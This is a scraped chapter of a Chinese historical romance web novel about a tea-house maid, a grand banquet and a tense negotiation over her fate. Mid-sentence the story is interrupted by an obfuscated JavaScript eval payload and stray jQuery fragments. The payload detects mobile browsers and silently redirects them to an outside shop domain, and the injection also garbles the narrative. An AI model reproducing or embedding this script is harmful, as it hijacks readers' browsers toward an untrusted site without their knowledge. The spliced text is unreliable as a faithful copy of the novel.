柳若鸿回到东园时,曲水宴正在紧锣密鼓地筹备中,来来往往都是身着四六局服饰的人影。她赶紧归位,站到茶酒司那一侧,还没来得及喘匀气,便感到一旁的周蕙娘悄无声息地凑了过来。
“若鸿,若鸿,你听说了吗?石小姐——对,就当初在知州府上为难我们的那个——在花园里游玩时,被人用石子砸晕啦!”
周蕙娘压着声音,分明是想装作低调,可那眉飞色舞的神色和炸裂性的开头,立刻将周围几个同僚的心神全攫了过去。
柳若鸿余光瞥见,有几个明黄色的身影靠了过来,原本只需要擦两遍的盘盏被来来回回擦了七八遍,原本已经摆好的茶点又被人重新摆了一轮,狭小的操作间里顿时挤满了假装忙碌却竖着耳朵听八卦的同僚身影。
她不禁有些无奈,但周蕙娘对此恍然未觉,还在自顾自地眉飞色舞地说着。
柳若鸿不由叹了口气——她何止知道,她根本就是现场第一目击人,连罪魁祸首是谁都一清二楚。
但看着周蕙娘这副小动物似的吃瓜表情,不知为何,她那颗惶惶的心便安定了下来。蕙娘能这般自然地谈论此事,说明姬敏的出手没被发现,不仅没被发现,怕是连痕迹都抹得干干净净了。
毕竟姬敏做事向来缜密,石幽兰当时又与蒋廉拉扯在□□,出于姑娘家的脸面,她想来不会大张旗鼓地声张。
柳若鸿心思电转,面上却不显,只不动声色地听周蕙娘继续往下说。
果不其然,紧接着便听周蕙娘压低声音继续道:
“据石大小姐所说,她当时正和蒋家姑娘在游园,不想被一个穿着四六局的男子从背后袭击,这才晕了过去。她气势汹汹地找到梁管事,找她要说法。”
“但——咱们梁管事是何许人也?什么场面没见过,岂会容她无理取闹?”
周蕙娘一边说,一边与有荣焉地挺了挺胸脯,在众多姐妹们亮晶晶的眼神的催促下,她自得地继续八卦道:
“梁管事只几句话就把她堵了回去。”
“她先问两位蒋家小姐,是否亲眼目睹此事。蒋家两位小姐先是沉默,最后是四姑娘蒋柔站出来摇了摇头,说没看见什么男子。”
“紧接着梁管事又问石幽兰,能不能拿出物证,表明袭击她的男子是四六局的人。石小姐满脸憋屈,但最终还是摇了摇头。”
“到了这里,梁管事基本已经放下心来,但她还是劝慰道,”周蕙娘模仿着梁陌心的语气,板起脸来,说着——
“我与刘小姐先前一直在禧廷轩,禧廷轩地势很高,视野极好,能够将园中发生的一切尽收眼底。因此到底是怎么回事,想必石小姐心里清楚,望石小姐三思。”
柳若鸿原本还是吃瓜心态,听到这里忽然愣住了,她猛然抓住蕙娘的手:“梁管事真的都看见了吗?”
“怎么可能?”周蕙娘被她这突如其来的反应吓了一跳,但只当她是听八卦听得入了迷,得意地压着嗓子道,“这就是咱们管事高明的地方了。”
“刘小姐为了招待天师大人,特意命人放下了窗边的纱帘,梁管事当时一心点茶,哪有功夫往窗外看?但她料定石幽兰在说谎,便先发制人。”
“果不其然,就在梁管事撂下这句话之后,那石小姐竟飞快地变脸,气冲冲地走开了。可惜你方才不在,真是亏了。”
柳若鸿被她这一番大喘气弄得差点儿心脏骤停。
她不由庆幸,石幽兰去茶酒司找麻烦的时候她不在。如果她在现场,不知道石幽兰会爆出什么惊天言论。
她此前就在知州府门房面前说,永安郡王袒护于她,眼下又亲眼见着蒋三公子与自己拉扯,恐怕不会有好话。
柳若鸿眉头微蹙,当即下定决心,以后绕着蒋廉和石幽兰走。
恰在此时,外间钻进来一个小厮,催促道:“各位姐姐们,茶饮点心都准备好了吗?”聚在一起听八卦的几人这才做鸟兽散去。
……
如姬敏先前所料,刘家在玲珑苑办的这场宴席,是曲水宴。
所谓曲水,取自古代上巳节习俗,后因王羲之的兰亭集会而名扬天下,流传至今,已成为文人雅士推崇的风雅之举。刘老爷将之化用到茶宴上,一面是为附庸风雅,另一方面则是为了展示财力。
曲水宴之难,首在场地。需足够开阔,又需有活水蜿蜒。
玲珑苑东园占地约十亩,原无水流,但刘老爷笃信风水中的“阳宅四象”,特意在修缮庄园时命能工巧匠从城外引活水入园,开凿出一条蜿蜒曲折的溪流。
五行之中,水主流动,刘家经商,与漕运司打交道,讲究的正是流水生财,因此园中水景便成了财富的象征。
活水从东侧源头引入,两侧摆好贵客席位,席与席之间相隔恰宜,又被流水无声串联,暗喻所有宾客皆为刘老爷人脉中的一环,在水财中分一杯羹。
而流水最终汇于南侧相思池,水停财聚。池边栽满羽状复叶的相思子,正值深秋,红豆缀满枝头,色泽殷红,与朱雀属火的意象正相呼应。
倒是应了这园子的名——玲珑心思,雅致至极。
宾客被明黄色衣着的女使们一一引至席位落座,等了约莫一盏茶的工夫,便见一盏盏盛着高足杯的木质托盘顺着水流缓缓漂下。
曲水设计之妙,竟能让那托盘恰到好处地在每一处席位前打着旋儿停摆片刻,待客人取走茶盏,才顺着水流继续向下。
木质托盘色沉古朴,上置的天青高足杯,釉色温润,两者相映成趣。而杯中的茶入口竟还是温热的,配上顺流而下的精巧茶点,别致新奇。
整场宴席风雅至极,又尽显豪奢,无论是江淮城中的贵客,还是柳若鸿等人,都算是见足了世面。
刘喜薇作为茶会的主角,自然逃不开众人的瞩目。
小姐们所用的茶饮尚且可由茶酒司的人代劳,但呈给诸位夫人的那一盏,非得刘小姐亲自动手不可。因此即便这些天来已在梁管事的严苛督导下将点茶流程烂熟于心,当真冲泡完几十人的茶饮后,她还是累得手臂酸痛难忍。
柳若鸿笑了笑,与周蕙娘一道上前打下手,瞅准时机递工具、备材料,三人六只手忙了许久,才让整场曲水宴的茶饮衔接有序、不曾断档。待到宴席散去,方才还强撑端庄的刘喜薇顿时没了形象,抱着贴身女使的腰瘫成一团,直嚷着手要废了。
但这场大张旗鼓的茶宴终究有所收获。几场饮茶下来,已有好几位夫人递来帖子,邀刘喜薇与自家女儿结交,说是做手帕交,实则是借故让家中儿子相看一番。刘老爷一一托人脉打听了对方的家世人品、为官几何,倒也挑中了几位不错的夫婿备选。
四六局承办了这么一场大宴,银子与名声都赚了不少,可主事人谢九脸上却没有半分高兴的意思。
云恬阁中檀香缭绕,琴声如流水潺潺,明明是一派招待贵客的雅致景象,但所宴之人却是实打实的恶客。
身着青衣的谢九端坐于上首,墨发如瀑,面色冷凝,心情不虞地拨弄着手上的
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17747067|209325||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
墨玉扳指。而他下手处坐的,正是此前在府衙见过的紫衣少年福德,以及他身后那名墨衣侍卫姚敬。
福德公公率先发难,唇红齿白的脸上漾着妖娆笑意:
“九爷,不过是一个小小的点茶女,您大人有大量,就算让与我表哥又如何?难不成你这四六局里,连一个奴婢都出不起吗?”
他顿了顿,笑得更深:“况且,我表哥又不是什么寻常人等,家世深厚,正蒙圣恩——她一介小小民女,能被我表哥瞧上,那可是天大的福分。您说——是也不是?”
谢九没有接话,只不紧不慢地拨弄着扳指,语气平淡却不容置疑:
“福公公这就说笑了。我四六局是雇人做工,雇的都是清白人家的子女,也不曾与谁签署过卖身契,怎滴到了您口中,听来倒像是做秦楼楚馆的皮肉生意的?”
谢九拱了拱手,笑道:“谢某不才,全靠给江淮城里的老爷们端茶倒水、得口饭吃,可不敢和其他商客们抢生意呐。”
他滑不溜秋的模样惹得福德很是不快,但紫衣少年只能强忍着怒意,依旧笑道:“九爷这可就说笑了。谁不知道,在这江淮城中的商会里,您坐下首,没人敢坐上首呀?”
“这位柳姑娘的事情,您定然是做得了主的,就莫要再推让了。”
他话锋一转,继续说道:
“如果您是忌惮因此坏了规矩、败了名声,只需要让我师兄在你们这下一单教习的生意,只请这位柳姑娘上门来教习点茶不就名正言顺了?此前刘老爷家的单子,不也是这样吗?”
福德的这一番话,令谢九无法再敷衍推脱,他只能冷了神色,说道:“福公公有所不知,国有国法,行有行规,做咱们这一行的,最重要的就是一个‘信’字。我谢九能走到今天,不瞒您说,全靠上上下下的人抬爱。”
“有些生意没钱也做得,有些生意给钱也做不得。这是信誉的事,岂能用银钱遮掩呢?”
“假使我谢九真的在今日开了这个先河,怕是到了明日,门前的招牌都要被人砸了去。”
他话锋一转,继续说道:
“更何况,姚大人何等金贵,我们局里的点茶女不过是粗使丫头,不敢高攀。江淮城颜色比她更盛的,大有人在,二位何必抓着她不放呢?”
“难不成——”谢九抬眸,目光如刃,声音也冷了下来,“您二位,求娶我局里的点茶婢子是假,为难我谢九才是真?”
这便是要将话题上高度了。
紫衣少年本欲再与谢九分辩分辩,却不曾想,身旁的墨衣男子竟坐不住了。
只见他豁然起身,啪的一声将刀拍在了案席上,震得案上茶盏嗡鸣作响,茶水溅了半张桌案。
这几日来,姚敬已数次在柳家院落外蹲守,却始终不见柳若鸿出门。而院中那名男子武功高强,他几次试探都没讨到便宜,再加上谢九暗中埋下的人手掣肘,一番折腾下来竟毫无所获。
眼见他朝思暮想的人与另一名男子同处一室,温情脉脉,形影相依。姚敬只在外面瞧着都心火难忍,更不知室内又是何等旖旎暧昧的光景。
如果不是有福德拦着,恐怕他早就借着武力打上了四六局,威逼谢九同意。
眼下听两人讲了这么多废话,他不由怒上心头,不管不顾地说道:
“准还是不准,你今天给个话。”
“如果九爷愿成人之美,我姚敬事成之日定请您为座上宾。但如果您非要与我为难——那可就别怪我姚某的刀剑无情了。”